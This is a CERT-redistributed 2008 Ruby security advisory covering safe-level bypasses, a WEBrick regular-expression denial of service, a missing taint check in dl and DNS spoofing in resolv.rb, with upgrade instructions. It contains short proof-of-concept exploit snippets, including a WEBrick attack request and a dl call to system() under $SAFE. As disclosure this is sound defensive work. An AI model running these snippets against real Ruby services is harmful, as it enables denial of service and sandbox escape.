-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

===========================================================================
             AUSCERT External Security Bulletin Redistribution

                    ESB-2008.0789 -- [Win][UNIX/Linux]
                     Multiple vulnerabilities in Ruby
                              18 August 2008

===========================================================================

        AusCERT Security Bulletin Summary
        ---------------------------------

Product:              Ruby 1.8.5 and all prior versions
                      Ruby 1.8.6-p286 and all prior versions
                      Ruby 1.8.7-p71 and all prior versions
                      Ruby r18423 and all prior revisions
Publisher:            Ruby Community
Operating System:     UNIX variants (UNIX, Linux, OSX)
                      Windows
Impact:               Increased Privileges
                      Provide Misleading Information
                      Denial of Service
                      Inappropriate Access
Access:               Remote/Unauthenticated
CVE Names:            CVE-2008-3657 CVE-2008-3656 CVE-2008-3655
                      CVE-2008-3443 CVE-2008-1447

Ref:                  AL-2008.0080

Original Bulletin:
  http://www.ruby-lang.org/en/news/2008/08/08/multiple-vulnerabilities-in-ruby/

Revision History:     August 18 2008: Added further CVE information
                      August 15 2008: Added CVE
                      August 12 2008: Initial Release

- --------------------------BEGIN INCLUDED TEXT--------------------

Multiple vulnerabilities in Ruby

   Multiple vulnerabilities have been discovered in Ruby. It's
   recommended that you upgrade to the latest versions.

Details

   The following vulnerabilities have been discovered.

Several vulnerabilities in safe level

   Several vulnerabilities in safe level have been discovered.
     * untrace_var is permitted at safe level 4.
   trace_var(:$VAR) {|val| puts "$VAR = #{val}" }

   Thread.new do
    $SAFE = 4
    eval %q{
      proc = untrace_var :$VAR
      proc.first.call("aaa")
    }
   end.join
        * $PROGRAM_NAME may be modified at safe level 4.
   Thread.new do
    $SAFE = 4
    eval %q{$PROGRAM_NAME.replace "Hello, World!"}
   end.join
   
   $PROGRAM_NAME #=> "Hello, World!"
        * Insecure methods may be called at safe level 1-3.
   class Hello
    def world
      Thread.new do
        $SAFE = 4
        msg = "Hello, World!"
        def msg.size
          self.replace self*10 # replace string
          1 # return wrong size
        end
        msg
      end.value
    end
   end
   
   $SAFE = 1 # or 2, or 3
   s = Hello.new.world
   if s.kind_of?(String)
    puts s if s.size < 20 # print string which size is less than 20
   end
        * Syslog operations are permitted at safe level 4.
   require "syslog"
   
   Syslog.open

   Thread.new do
    $SAFE = 4
    eval %q{
      Syslog.log(Syslog::LOG_WARNING, "Hello, World!")
      Syslog.mask = Syslog::LOG_UPTO(Syslog::LOG_EMERG)
      Syslog.info("masked")
      Syslog.close
    }
   end.join

   These vulnerabilities were reported by Keita Yamaguchi.

DoS vulnerability in WEBrick

   WEBrick::HTTP::DefaultFileHandler is faulty of exponential time taking
   requests due to a backtracking regular expression in
   WEBrick::HTTPUtils.split_header_value.

   Exploitable server:
   require 'webrick'
   WEBrick::HTTPServer.new(:Port => 2000, :DocumentRoot => "/etc").start

   Attack:
   require 'net/http'
   res = Net::HTTP.start("localhost", 2000) { |http|
     req = Net::HTTP::Get.new("/passwd")
     req['If-None-Match'] = %q{meh=""} + %q{foo="bar" } * 100
     http.request(req)
   }
   p res

   The request likely won't finish in this universe.

   This vulnerability was reported by Christian Neukirchen.

Lack of taintness check in dl

   dl doesn't check taintness, so it could allow attackers to call
   dangerous functions.
   require 'dl'
   $SAFE = 1
   h = DL.dlopen(nil)
   sys = h.sym('system', 'IP')
   uname = 'uname -rs'.taint
   sys[uname]

   This vulnerability was reported by sheepman.

DNS spoofing vulnerability in resolv.rb

   resolv.rb allow remote attackers to spoof DNS answers. This risk can
   be reduced by randomness of DNS transaction IDs and source ports, so
   resolv.rb is fixed to randomize them.
     * see also: CVE-2008-1447

   This vulnerability was reported by Tanaka Akira.

Vulnerable versions

   1.8 series

          + 1.8.5 and all prior versions
          + 1.8.6-p286 and all prior versions
          + 1.8.7-p71 and all prior versions

   1.9 series

          + r18423 and all prior revisions

Solution

   1.8 series
          Please upgrade to 1.8.6-p287, or 1.8.7-p72.

          + <URL:ftp://ftp.ruby-lang.org/pub/ruby/1.8/ruby-1.8.6-p287
            .tar.gz>
          + <URL:ftp://ftp.ruby-lang.org/pub/ruby/1.8/ruby-1.8.7-p72.
            tar.gz>

   1.9 series
          Please check out the latest version using Subversion.

    $ svn co http://svn.ruby-lang.org/repos/ruby/trunk ruby

   Please note that a package that corrects this weakness may already be
   available through your package management software.

Credit

   Credit to Keita Yamaguchi, Christian Neukirchen, sheepman, and Tanaka
   Akira for disclosing these problems to Ruby Security Team.

Changes

     * 2008-08-08 12:21 +09:00 fixed the revision number of ruby 1.9.
     * 2008-08-11 11:23 +09:00 fixed the patchlevel of ruby 1.8. see
       the release announcement of Ruby 1.8.7-p72 and 1.8.6-p287


- --------------------------END INCLUDED TEXT--------------------

You have received this e-mail bulletin as a result of your organisation's
registration with AusCERT. The mailing list you are subscribed to is
maintained within your organisation, so if you do not wish to continue
receiving these bulletins you should contact your local IT manager. If
you do not know who that is, please send an email to auscert@auscert.org.au
and we will forward your request to the appropriate person.

NOTE: Third Party Rights
This security bulletin is provided as a service to AusCERT's members.  As
AusCERT did not write the document quoted above, AusCERT has had no control
over its content. The decision to follow or act on information or advice
contained in this security bulletin is the responsibility of each user or
organisation, and should be considered in accordance with your organisation's
site policies and procedures. AusCERT takes no responsibility for consequences
which may arise from following or acting on information or advice contained in
this security bulletin.

NOTE: This is only the original release of the security bulletin.  It may
not be updated when updates to the original are made.  If downloading at
a later date, it is recommended that the bulletin is retrieved directly
from the author's website to ensure that the information is still current.

Contact information for the authors of the original document is included
in the Security Bulletin above.  If you have any questions or need further
information, please contact them directly.

Previous advisories and external security bulletins can be retrieved from:

        http://www.auscert.org.au/render.html?cid=1980

If you believe that your computer system has been compromised or attacked in 
any way, we encourage you to let us know by completing the secure National IT 
Incident Reporting Form at:

        http://www.auscert.org.au/render.html?it=3192

===========================================================================
Australian Computer Emergency Response Team
The University of Queensland
Brisbane
Qld 4072

Internet Email: auscert@auscert.org.au
Facsimile:      (07) 3365 7031
Telephone:      (07) 3365 4417 (International: +61 7 3365 4417)
                AusCERT personnel answer during Queensland business hours
                which are GMT+10:00 (AEST).
                On call after hours for member emergencies only.
===========================================================================

-----BEGIN PGP SIGNATURE-----
Comment: http://www.auscert.org.au/render.html?it=1967

iQCVAwUBSKjOhyh9+71yA2DNAQJ16gP/bQnQwxOjFXBhEIUtd9licKFI+gYcMCgp
p6cj0SSdPSZHCaxVMlT/bR0kwRYSnf9yy7pJPFkoSe06FWELB6Wf4CM/us9HyC5I
pctpfSWFnvdLvBZH2HxkjyRBbCgvwLgxxSIaZwxI3SR+9G6bScyByvr3HrbZPK7B
679BsaY83dk=
=P17A
-----END PGP SIGNATURE-----